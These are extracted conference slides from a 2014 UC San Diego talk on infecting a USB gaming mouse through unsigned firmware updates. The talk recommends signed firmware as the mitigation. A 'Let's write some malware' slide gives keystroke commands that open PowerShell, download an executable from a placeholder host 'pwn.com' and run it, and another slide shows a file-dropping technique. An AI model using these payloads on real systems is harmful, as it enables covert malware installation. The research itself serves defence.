Mouse Trap
Exploiting Firmware Updates in USB Peripherals

Presented by Jacob Maskiewicz, 8.19.2014

With Benjamin Ellis, James Mouradian, and Hovav Shacham

UC San Diego
Motivation

December 2011: EDA thought they were under cyber attack
December 2011: EDA thought they were under cyber attack
Motivation

December 2011: EDA thought they were under cyber attack
Motivation

December 2011: EDA thought they were under cyber attack
Motivation

December 2011: EDA thought they were under cyber attack
Oops
It was all just a miscommunication
Indeed, throwing away computer mice seems like a poor approach to ridding an organization of digital threats.

http://www.theverge.com/2013/7/8/4503946/commerce-department-unnecessary-cybersecurity-computer-destruction
Can we infect a mouse with malware?
High Level Goals

1. Compromise a mouse via a firmware update attack

2. Have the mouse send malicious keyboard commands
Attack Model
## Attack Model

<table>
<thead>
<tr>
<th>Networked</th>
<th>Infect</th>
<th>Exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image1.png" alt="Networked Diagram" /></td>
<td><img src="image2.png" alt="Infect Icon" /></td>
<td><img src="image3.png" alt="Exploit Icon" /></td>
</tr>
<tr>
<td>Air-Gapped</td>
<td><img src="image4.png" alt="Air-Gapped Icon" /></td>
<td><img src="image5.png" alt="Air-Gapped Icon" /></td>
</tr>
<tr>
<td>Attack Model</td>
<td>Infect</td>
<td>Exploit</td>
</tr>
<tr>
<td>-------------------</td>
<td>--------</td>
<td>---------</td>
</tr>
<tr>
<td>Networked</td>
<td><img src="image1.png" alt="Image" /></td>
<td><img src="image2.png" alt="Image" /></td>
</tr>
<tr>
<td>Air-Gapped</td>
<td><img src="image3.png" alt="Image" /></td>
<td><img src="image4.png" alt="Image" /></td>
</tr>
</tbody>
</table>
Infecting Mice on Networked Targets

- firmware updates over USB
- USB is not a privileged resource

Drive-by-Download  Trojan Horse  Man in the Middle
## Attack Model

<table>
<thead>
<tr>
<th>Network Type</th>
<th>Infect</th>
<th>Exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Networked</td>
<td>![Networked Example]</td>
<td>![Exploit Example]</td>
</tr>
<tr>
<td>Air-Gapped</td>
<td>![Air-Gapped Example]</td>
<td>![Exploit Example]</td>
</tr>
</tbody>
</table>

* ![Networked Example](image1.png)
* ![Exploit Example](image2.png)
* ![Air-Gapped Example](image3.png)
Handling the air gap

Security firm Netragard succeeded after mailing a target a “promotional” mouse [8]
## Attack Model

<table>
<thead>
<tr>
<th>Attack Model</th>
<th>Infect</th>
<th>Exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Networked</td>
<td><img src="image1.png" alt="Infect" /></td>
<td><img src="image2.png" alt="Exploit" /></td>
</tr>
<tr>
<td>Air-Gapped</td>
<td><img src="image3.png" alt="Infect" /></td>
<td><img src="image4.png" alt="Exploit" /></td>
</tr>
</tbody>
</table>
Exploiting Networked Hosts

Simply download malware from the internet
Exploiting Networked Hosts

Simply download malware from the internet

What did we gain?
Exploiting Networked Hosts

Suppose the user cleans the computer
Exploiting Networked Hosts

Just download the malware again

Get New Malware
Exploiting Networked Hosts

Just download the malware again

Persistent Threat
# Attack Model

<table>
<thead>
<tr>
<th></th>
<th>Infect</th>
<th>Exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Networked</td>
<td><img src="image1.png" alt="Image" /></td>
<td><img src="image2.png" alt="Image" /></td>
</tr>
<tr>
<td>Air-Gapped</td>
<td><img src="image3.png" alt="Image" /></td>
<td><img src="image4.png" alt="Image" /></td>
</tr>
</tbody>
</table>
Infecting Air-gapped Hosts

Simply download malware from the internet?
Infecting Air-gapped Hosts

Simply download malware from the internet?

No. The mouse must store and transfer the malware.
# Attack Model

<table>
<thead>
<tr>
<th></th>
<th>Infect</th>
<th>Exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Networked</td>
<td><img src="" alt="Image" /></td>
<td><img src="" alt="Image" /></td>
</tr>
<tr>
<td>Air-Gapped</td>
<td><img src="" alt="Image" /></td>
<td><img src="" alt="Image" /></td>
</tr>
</tbody>
</table>
Overview of the Mouse
Choosing a mouse

We needed a mouse with a firmware updater

So we chose the Logitech G600
Processor: ATmega32U2

Architecture: AVR (8 bit RISC ISA)
The Mouse’s Architecture

- Two segments: application & bootloader
- **Application segment**: normal operation
- **Bootloader segment**: firmware updates
  - extra privileges
Taking a closer look

Since the Logitech G600 is a gaming mouse it has buttons G9-G20

$3 6 9 =$

$2 5 8 -$
Listening to a button press

These 4 USB packets send HID ‘1’

<table>
<thead>
<tr>
<th>Packet</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>01 00 1E 00 00 00 00</td>
<td>HID ‘1’</td>
</tr>
<tr>
<td>80 00 01 00 00 14</td>
<td>G9 pressed (bit flag)</td>
</tr>
<tr>
<td>01 00 00 00 00 00 00 00</td>
<td>HID key up</td>
</tr>
<tr>
<td>80 00 00 00 00 14</td>
<td>G9 cleared</td>
</tr>
</tbody>
</table>
Reverse Engineering
Start by reading the manual
Fast forward

Annotated over 160 functions
(over 4,000 lines of assembly)
Identified many libraries

; function send_hid
; if (r16[5] == 0)
sbrc r16, 5
rjmp .+16
; START IF BODY
...
Updating the Firmware

1. Write custom assembly
2. Run a script to modify the firmware & prepare it as an IHEX file
3. Inject our modified firmware into the updater
4. Flash the mouse by running the modified updater

```
mov r17, r16
add r17, r17
sbc r17, r17
```
The Attack

What can a malicious mouse actually do?
A Lot
Let’s write some malware

<WIN> + R
powershell.exe
Start-BitsTransfer
    -source http://pwn.com/pwn.exe
    -destination .\pwn.exe
.\pwn.exe
exit

The networked target is the easy case
Let’s transfer some files

WIN> + R
cmd.exe
copy con pwn.exe
<Alt key combos>
exit

Want to transfer arbitrary bytes?

1111 1010 == 250
Alt + 2 + 5 + 0

Mouse has > 6 KB available for storing malware
There is a 16 bit counter available for triggering
Mitigations
Sign the firmware
Sign the firmware

Implemented RSA signature verification (PKCS #1.5), using Spong/256/256/128 as our underlying hash function [2,3,6]

Current Bootloader Size: 3.3 KB
Max Bootloader Size: 4 KB
Signature Verification Code: 1.5 KB

This is reasonable
Conclusion
Conclusion

We demonstrated an end-to-end evaluation of using mice as a persistent malware delivery mechanism.

Demonstrated that RSA signatures are a feasible mitigation.

We believe that all firmware updates should be signed and that all embedded device should verify update signatures.
Not limited to mice

When Firmware Modifications Attack, Cui et al.

Reverse Engineering and Exploiting a Firmware Update, K. Chen

iSeeYou, Brocker and Checkoway

http://d3nevzfk7ii3be.cloudfront.net/igi/jUFDvEgjpksEQrDP
http://ecx.images-amazon.com/images/I/41C-RYKS0AL._SY300_.jpg
Acknowledgments

Project partners Ben Ellis & James Mouradian

My advisor Hovav Shacham

K. Mowery & D. Kohlbrenner for IDA assistance

Samuel Chen for JTAG assistance

Michael Walter for translating related work
Thanks for listening

Are there any questions?
References


All clipart from https://openclipart.org
Other nuances

- Mouses are used between computers
  - across generations
  - shared among computers (Synergy, etc)
Constants reveal USB calls

We started by looking for functions that dealt with the button press header/footer (0x80, 0x14)
The entire process

1. write custom assembly
2. run a script to modify the firmware & prepare it as an IHEX file
   a. assemble the custom assembly with avr-gcc
   b. copy the bytes from the compiled binary to an unused portion of the original firmware
   c. compute a CRC of the modified firmware
   d. use avr-objcopy to convert the elf to an IHEX file
3. Inject our modified firmware into the updater
4. Flash the mouse by running the modified updater